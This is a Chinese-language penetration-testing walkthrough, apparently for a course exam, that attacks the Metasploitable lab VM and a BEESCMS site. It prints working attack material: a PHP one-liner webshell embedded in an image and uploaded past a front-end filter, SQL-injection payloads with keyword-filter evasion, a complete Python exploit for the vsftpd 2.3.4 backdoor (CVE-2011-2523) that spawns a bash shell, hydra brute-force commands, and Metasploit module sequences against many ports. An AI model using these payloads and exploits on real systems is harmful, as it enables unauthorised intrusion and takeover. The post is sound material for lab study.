留言
这里我就用kali进行操作,用什么操作系统渗透都是可以的,不要让系统限制了你发挥的能力,这里我用kali因为工具都是跟随系统的,不用自己安装比较方便点,有人就说脚本小子那我就想知道,你写的也是脚本有力气写脚本,还不如用别人写好的。
浪费时间,难道说你写的脚本,比那些专业人士写的还要厉害? 不也就是重复造轮子,自己会写肯定好,还是要学会利用现有资源,重在思路。
靶机介绍
Metasploitable是一个虚拟靶机系统镜像,里面含有大量未被修复的安全漏洞,是主要用于MSF渗透测试的目标。
它是基于Ubuntu的Linux虚拟机,兼容Vmware、VirtualBox等虚拟机系统。
BEESCMS漏洞

这个靶机是期末考试用到的,默认账号密码都是msfadmin,考试可没那么简单,已经把这个靶机默认的登录账号密码给改了,需要自己在上面找漏洞,这种靶机在网上其实有很多教程,这里我按照自己的思路再走一遍。

1.先用arp-scan扫一遍自身网段的主机,这种方式用的是arp扫描,比ping好多了如果对方开了防火墙ping就凉凉,arp扫描屡试不爽。
arp-scan -l // 扫描当前内网主机
2.出结果了,是这个地址192.168.25.132,再进行nmap进行扫描下参数不过多解释可以自行研究,信息搜集完毕开始进行分析了,看到系统开了这么多个端口,每个端口都可以试试有对应的服务名称,可百度查阅是否有漏洞。
nmap -T4 -sV 192.168.25.132 -p- > info.txt // 扫描并保存结果到文本
3.考试的时候做的是这个web上的,考试流程是这样的:
4.扫描下网站目录

dirb http://192.168.25.132:41083/这个网址有点可疑,manage是管理的意思,到浏览器访问看下。

5.找到了这里其实存在sql注入的,但考试要求进行爆破,用burpsuite抓包进行登录爆破,这里有点多余了,我已经知道账号密码了,admin和1234qwer 就直接就跳过。

6.生成一句话木马,直接把一句话木马后缀,改成图片格式也是可以的,这里为了让它更像一张图片,直接在图片内嵌入了一句话,并不影响图片的显示。

copy /b 图片路径 + 一句话木马路径 生成的名称
echo "<?php eval(@$_POST['cmd']);" >> 1.php// 一句话木马
<?php eval(@$_POST['cmd']);
7.这里我就不用burpsuite,我安装的kali没带懒得安装,这里我就用Fiddler了,
上传的时候拦截并把图片格式改为php修改绕过前端规则就行,这样一句话木马就到服务器里了,直接用菜刀或蚂剑连接就行了。


8.连接成功,查看下权限不是root权限,开始提权下载提权源码。
https://www.exploit-db.com/download/8572
待更新...
SQL注入

1.找到登录后台在账号框输入单引号,随便输入一个密码再加验证码,点击登录。

2.就会发现sql语法错误,这就是存在sql注入,经过测试发现只有账号那里存在sql注入。

' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#3.经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替。

端口漏洞
FTP登录密码已知,自己生成字典。
| 账号 | 密码 |
|---|---|
| user | user |
| postgres | postgres |
| service | service |
21 22 23端口

msfconsole -q # 启动msf
search vsftpd_234 # 搜索21端口漏洞
use 0 # 选择漏洞序号
set rhosts 192.168.213.143 # 设置目标ip
run # 执行CVE-2011-2523
#!/usr/bin/python3
# CVE : CVE-2011-2523
# vsftp2.3.4 21端口笑脸漏洞
from telnetlib import Telnet
import argparse
import re
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("host", help="input the host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21
user = "USER nergal:)"
password = "PASS pass"
try:
with Telnet(host, portFTP) as tn:
tn.read_until(b"(vsFTPd 2.3.4)")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.")
tn.write(password.encode('ascii') + b"\n")
with Telnet(host, 6200) as tn2:
tn2.read_until(b"exit\n", timeout=1)
tn2.write(b'python -c "import pty; pty.spawn(\'/bin/bash\')"\n')
tn2.interact()
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
使用工具:hydra 暴力破解工具

hydra -L user.txt -P pass.txt ftp://192.168.25.132 # ftp
hydra -L user.txt -P pass.txt 192.168.25.132 ssh # ssh
21、22、23 端口存在弱口令。
80端口


search php_cgi
use 0
set rhost 192.168.72.134
run111端口

search sunrpc_portmapper
use 0
set rhost 192.168.213.143
run1099端口

search java_rmi_server
use 0
set rhost 192.168.213.143
run1524端口

telnet 192.168.72.1343632端口

search distcc_exec
set payload payload/cmd/unix/bind_perl
use 0
run6667 6697端口

search ircd_3281_backdoor
use 0
set payload cmd/unix/bind_perl # 选择payload
set rhost 192.168.213.143
run1524端口


利用telnet、nc连接1524端口
3306端口

mysql -h 192.168.56.129 -u rootmysql密码存在弱口令
5900端口

vncviewer 192.168.56.129 // 弱密码 password5900端口存在密码弱口令
5432端口

psql -h 192.168.56.129 -U postres // 弱密码 postres5432端口存在密码弱口令
评论 (0)